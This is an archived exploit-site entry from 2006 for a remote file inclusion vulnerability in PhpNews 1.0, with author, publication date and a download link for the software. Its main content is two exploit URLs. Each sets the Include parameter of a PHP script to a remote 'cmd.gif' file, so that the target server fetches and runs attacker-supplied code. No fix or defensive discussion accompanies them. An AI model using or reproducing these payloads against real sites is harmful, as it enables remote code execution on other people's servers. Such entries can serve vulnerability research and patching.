[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : PhpNews 1.0 (Include) Remote File Include Vulnerabilities
# Published : 2006-09-07
# Author : the master
# Previous Title : DokuWiki <= 2006-03-09b (dwpage.php) System Disclosure Exploit
# Next Title : aeDating <= 4.1 dir[inc] Remote File Include Vulnerabilities
########################################################################
# PhpNews v1.0 Remote File Inclusion Vulnerability
#
# Download: ftp://ftp1.comscripts.com/PHP/36_phpnews-10.zip
#
# Found By: the master
#
########################################################################
# exploit:
#
# http://[Target]/[Path]/Include/lib.inc.php3?Include=http://cmd.gif?
# http://[Target]/[Path]/Include/variables.php3?Include=http://cmd.gif?
########################################################################
# www.Syue.com [2006-09-07]